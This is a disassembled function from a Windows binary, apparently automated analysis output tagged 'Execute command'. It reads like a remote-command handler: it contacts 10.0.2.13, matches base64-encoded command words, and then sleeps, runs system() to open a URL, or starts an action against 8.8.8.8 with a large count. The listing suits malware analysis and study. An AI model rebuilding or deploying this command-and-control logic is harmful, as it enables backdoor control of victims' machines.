Function at 0x1400042f0
Capabilities:
Execute command
Reference google public dns server

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov r12, rcx
mov qword [rbp - 0x49], rcx
xor ebx, ebx
mov qword [rbp - 0x19], rbx
mov qword [rbp - 9], rbx
mov qword [rbp - 1], send
mov byte [rbp - 0x19], bl
lea r8d, [rbx + 9]
lea rdx, str.10.0.2.13
lea rcx, [rbp - 0x19]
call fcn.140004fc0
nop
mov r14, qword [r12 + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0x15
jb 0x1400049f1
mov r15, r12
cmp qword [r12 + 0x18], 0x10
jb 0x140004381
mov r15, qword [r12]
mov qword [rsp + 0x20], rbx
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rsi, [r14 + 0x15]
mov edi, send
lea rbx, [rsp + 0x20]
lea r13, [rdi - 0x10]
cmp rsi, rdi
jbe 0x14000441b
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x1400043b6
mov rdi, rcx
jmp 0x1400043c2
mov eax, socket
cmp rdi, rax
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
cmovb rcx, r13
cmp rcx, 0x1000
jb 0x140004405
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400049f7
mov rcx, rax
call fcn.140005a7c
test rax, rax
je 0x1400043fe
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140004416
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140004414
call fcn.140005a7c
mov rbx, rax
jmp 0x140004416
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov qword [rbp - 0x79], rsi
mov qword [rbp - 0x71], rdi
movups xmm0, xmmword [str._0LTQsNC90L3Ri9C1_id]
movups xmmword [rbx], xmm0
mov eax, dword [0x140007798]
mov dword [rbx + 0x10], eax
movzx eax, byte [0x14000779c]
mov byte [rbx + 0x14], al
lea rcx, [rbx + 0x15]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 7]
call fcn.140003a70
nop
mov rdx, qword [rbp - 0x71]
cmp rdx, 0x10
jb 0x1400044a6
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400044a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005d08
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x1400044e1
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004902
call fcn.140005d08
xor esi, esi
mov qword [rsp + 0x20], rsi
mov qword [rbp - 0x79], rsi
mov qword [rbp - 0x71], send
mov byte [rsp + 0x20], sil
lea r8d, [rsi + 9]
lea rdx, str.10.0.2.13
lea rcx, [rsp + 0x20]
call fcn.140004fc0
nop
lea r9, [rbp + 7]
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x39]
call fcn.140003840
nop
mov rdx, qword [rbp - 0x71]
cmp rdx, 0x10
jb 0x140004561
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000455c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000455c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005d08
mov qword [rbp - 0x79], rsi
mov qword [rbp - 0x71], send
mov byte [rsp + 0x20], 0
lea rbx, [rbp - 0x39]
mov r14, qword [rbp - 0x39]
mov r15, qword [rbp - 0x21]
cmp r15, 0x10
cmovae rbx, r14
mov rdi, qword [rbp - 0x29]
cmp rdi, 4
jb 0x14000460f
lea rsi, [rdi + rbx]
lea r8, [rsi - 3]
sub r8, rbx
mov edx, recv
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
je 0x14000460d
lea rdx, str._r_n_r_n
nop word [rax + rax]
xor ecx, ecx
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x1400045da
cmp rcx, 4
jne 0x1400045c2
xor eax, eax
jmp 0x1400045df
sbb eax, eax
or eax, 1
test eax, eax
je 0x140004672
inc r9
lea r8, [rsi - 3]
sub r8, r9
mov edx, recv
mov rcx, r9
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
lea rdx, str._r_n_r_n
jne 0x1400045c0
xor esi, esi
mov qword [rbp - 0x19], rsi
mov qword [rbp - 9], rsi
mov qword [rbp - 1], send
mov byte [rbp - 0x19], 0
xor r8d, r8d
lea rdx, [0x1400074c8]
lea rcx, [rbp - 0x19]
call fcn.140004fc0
nop
lea rcx, [rbp - 0x39]
cmp qword [rbp - 0x21], 0x10
cmovae rcx, qword [rbp - 0x39]
mov rbx, qword [rbp - 0x29]
cmp rbx, 8
jne 0x1400046c0
mov r8, rbx
lea rdx, str.0KHQvtC9
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400046c0
mov ecx, 0x36ee80
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000488a
sub r9, rbx
cmp r9, 0xffffffffffffffff
je 0x14000460d
add r9, 4
xor esi, esi
mov qword [rbp - 0x19], rsi
mov qword [rbp - 9], rsi
mov qword [rbp - 1], send
mov byte [rbp - 0x19], sil
cmp rdi, r9
jb 0x1400049eb
sub rdi, r9
cmp rdi, 0xffffffffffffffff
cmovb r13, rdi
lea rdx, [rbp - 0x39]
cmp r15, 0x10
cmovae rdx, r14
add rdx, r9
mov r8, r13
jmp 0x14000462d
lea rcx, [rbp - 0x39]
cmp qword [rbp - 0x21], 0x10
cmovae rcx, qword [rbp - 0x39]
cmp rbx, 0x14
jne 0x1400046f9
mov r8, rbx
lea rdx, str.0YHQutCw0YfQsNGC0Yw
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400046f9
lea rcx, str.start_https:__www.youtube.com_watch_vdQw4w9WgXcQ
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14000488a
lea rcx, [rbp - 0x39]
cmp qword [rbp - 0x21], 0x10
cmovae rcx, qword [rbp - 0x39]
cmp rbx, 0xc
jne 0x1400047ce
mov r8, rbx
lea rdx, str.0L_QuNC90LM
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400047ce
mov qword [rsp + 0x20], rsi
mov qword [rbp - 0x79], rsi
mov qword [rbp - 0x71], send
mov byte [rsp + 0x20], al
lea r8d, [rbx - 5]
lea rdx, str.8.8.8.8
lea rcx, [rsp + 0x20]
call fcn.140004fc0
nop
mov qword [rbp - 0x69], rsi
mov qword [rbp - 0x59], rsi
mov qword [rbp - 0x51], send
lea r8d, [rbx - 5]
lea rdx, str.1000000
lea rcx, [rbp - 0x69]
call fcn.140004fc0
lea rdx, [rbp - 0x69]
lea rcx, [rsp + 0x20]
call fcn.140003f10
nop
mov rdx, qword [rbp - 0x71]
cmp rdx, 0x10
jb 0x14000488a
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400047c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005d08
jmp 0x14000488a
lea rcx, [rbp - 0x39]
cmp qword [rbp - 0x21], 0x10
cmovae rcx, qword [rbp - 0x39]
cmp rbx, 0xc
jne 0x14000488a
mov r8, rbx
lea rdx, str.0YTQu9Cw0LM
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000488a
mov rdx, r12
lea rcx, [rbp - 0x69]
call fcn.140004ee0
mov rbx, rax
cmp qword [rax + 0x10], 2
jb 0x14000483c
cmp qword [rax + 0x18], 0x10
jb 0x140004828
mov rcx, qword [rax]
movzx eax, byte [rcx]
mov byte [rbp - 0x41], al
mov rax, rcx
jmp 0x140004831
movzx eax, byte [rax]
mov byte [rbp - 0x41], al
mov rax, rbx
movzx eax, byte [rax + 1]
mov byte [rbp - 0x40], al
mov byte [rbp - 0x3f], 0
lea rcx, [rbp - 0x41]
call fcn.140001260
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000487b
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140004876
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400048c3
mov rcx, r8
call fcn.140005d08
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x1400048d0
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400048ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140005d08
nop
mov rdx, qword [rbp - 0x21]
cmp rdx, 0x10
jb 0x14000490e
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004909
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004909
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005d08
mov qword [rbp - 0x29], rsi
mov qword [rbp - 0x21], send
mov byte [rbp - 0x39], 0
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x14000495c
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004957
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004957
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005d08
mov qword [rbp + 0x17], rsi
mov qword [rbp + 0x1f], send
mov byte [rbp + 7], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x1400049a4
inc rdx
mov rcx, qword [r12]
cmp rdx, 0x1000
jb 0x14000499f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400049e4
mov rcx, r8
call fcn.140005d08
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], socket
mov byte [r12], 0
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1400057c0
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140005120
nop
call fcn.140001240
int3
call fcn.1400011a0
int3